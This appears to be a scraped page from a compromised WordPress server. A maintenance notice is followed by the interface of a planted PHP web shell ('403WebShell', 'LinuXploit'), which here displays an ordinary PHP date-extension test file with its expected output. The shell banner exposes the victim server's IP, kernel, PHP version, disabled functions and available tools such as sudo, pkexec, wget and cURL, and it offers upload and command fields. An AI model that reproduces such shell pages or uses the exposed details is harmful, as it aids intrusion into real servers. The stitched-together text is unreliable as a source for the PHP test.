WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/ext/date/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/ext/date/tests/timezone_transitions_get_variation2.phpt
--TEST--
Test timezone_transitions_get() function : usage variation - Passing unexpected values to first argument $timestamp_begin.
--FILE--
<?php
/* Prototype  : array timezone_transitions_get  ( DateTimeZone $object, [ int $timestamp_begin  [, int $timestamp_end  ]]  )
 * Description: Returns all transitions for the timezone
 * Source code: ext/date/php_date.c
 * Alias to functions: DateTimeZone::getTransitions()
 */

echo "*** Testing timezone_transitions_get() : usage variation -  unexpected values to first argument \$timestamp_begin ***\n";

//Set the default time zone
date_default_timezone_set("Europe/London");

//get an unset variable
$unset_var = 10;
unset ($unset_var);

// define some classes
class classWithToString
{
	public function __toString() {
		return "Class A object";
	}
}

class classWithoutToString
{
}

// heredoc string
$heredoc = <<<EOT
hello world
EOT;

// add arrays
$index_array = array (1, 2, 3);
$assoc_array = array ('one' => 1, 'two' => 2);

// resource
$file_handle = fopen(__FILE__, 'r');

//array of values to iterate over
$inputs = array(

      // int data
      'int 0' => 0,
      'int 1' => 1,
      'int 12345' => 12345,
      'int -12345' => -12345,

      // float data
      'float 10.5' => 10.5,
      'float -10.5' => -10.5,
      'float .5' => .5,

      // array data
      'empty array' => array(),
      'int indexed array' => $index_array,
      'associative array' => $assoc_array,
      'nested arrays' => array('foo', $index_array, $assoc_array),

      // null data
      'uppercase NULL' => NULL,
      'lowercase null' => null,

      // boolean data
      'lowercase true' => true,
      'lowercase false' =>false,
      'uppercase TRUE' =>TRUE,
      'uppercase FALSE' =>FALSE,

      // empty data
      'empty string DQ' => "",
      'empty string SQ' => '',

      // string data
      'string DQ' => "string",
      'string SQ' => 'string',
      'mixed case string' => "sTrInG",
      'heredoc' => $heredoc,

      // object data
      'instance of classWithToString' => new classWithToString(),
      'instance of classWithoutToString' => new classWithoutToString(),

      // undefined data
      'undefined var' => @$undefined_var,

      // unset data
      'unset var' => @$unset_var,

      // resource
      'resource' => $file_handle
);

$tz = timezone_open("Europe/London");
$timestamp_end = mktime(0, 0, 0, 1, 1, 1975);

foreach($inputs as $variation =>$timestamp_begin) {
    echo "\n-- $variation --\n";
   	$tran =  timezone_transitions_get($tz, $timestamp_begin, $timestamp_end);
   	var_dump( gettype($tran) );
	var_dump( count($tran) );
};

// closing the resource
fclose( $file_handle );

?>
===DONE===
--EXPECTF--
*** Testing timezone_transitions_get() : usage variation -  unexpected values to first argument $timestamp_begin ***

-- int 0 --
string(5) "array"
int(8)

-- int 1 --
string(5) "array"
int(8)

-- int 12345 --
string(5) "array"
int(8)

-- int -12345 --
string(5) "array"
int(8)

-- float 10.5 --
string(5) "array"
int(8)

-- float -10.5 --
string(5) "array"
int(8)

-- float .5 --
string(5) "array"
int(8)

-- empty array --

Warning: timezone_transitions_get() expects parameter 2 to be integer, array given in %s on line %d
string(7) "boolean"

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(1)

-- int indexed array --

Warning: timezone_transitions_get() expects parameter 2 to be integer, array given in %s on line %d
string(7) "boolean"

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(1)

-- associative array --

Warning: timezone_transitions_get() expects parameter 2 to be integer, array given in %s on line %d
string(7) "boolean"

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(1)

-- nested arrays --

Warning: timezone_transitions_get() expects parameter 2 to be integer, array given in %s on line %d
string(7) "boolean"

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(1)

-- uppercase NULL --
string(5) "array"
int(8)

-- lowercase null --
string(5) "array"
int(8)

-- lowercase true --
string(5) "array"
int(8)

-- lowercase false --
string(5) "array"
int(8)

-- uppercase TRUE --
string(5) "array"
int(8)

-- uppercase FALSE --
string(5) "array"
int(8)

-- empty string DQ --

Warning: timezone_transitions_get() expects parameter 2 to be integer, string given in %s on line %d
string(7) "boolean"

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(1)

-- empty string SQ --

Warning: timezone_transitions_get() expects parameter 2 to be integer, string given in %s on line %d
string(7) "boolean"

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(1)

-- string DQ --

Warning: timezone_transitions_get() expects parameter 2 to be integer, string given in %s on line %d
string(7) "boolean"

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(1)

-- string SQ --

Warning: timezone_transitions_get() expects parameter 2 to be integer, string given in %s on line %d
string(7) "boolean"

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(1)

-- mixed case string --

Warning: timezone_transitions_get() expects parameter 2 to be integer, string given in %s on line %d
string(7) "boolean"

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(1)

-- heredoc --

Warning: timezone_transitions_get() expects parameter 2 to be integer, string given in %s on line %d
string(7) "boolean"

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(1)

-- instance of classWithToString --

Warning: timezone_transitions_get() expects parameter 2 to be integer, object given in %s on line %d
string(7) "boolean"

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(1)

-- instance of classWithoutToString --

Warning: timezone_transitions_get() expects parameter 2 to be integer, object given in %s on line %d
string(7) "boolean"

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(1)

-- undefined var --
string(5) "array"
int(8)

-- unset var --
string(5) "array"
int(8)

-- resource --

Warning: timezone_transitions_get() expects parameter 2 to be integer, resource given in %s on line %d
string(7) "boolean"

Warning: count(): Parameter must be an array or an object that implements Countable in %s on line %d
int(1)
===DONE===

Youez - 2016 - github.com/yon3zu
LinuXploit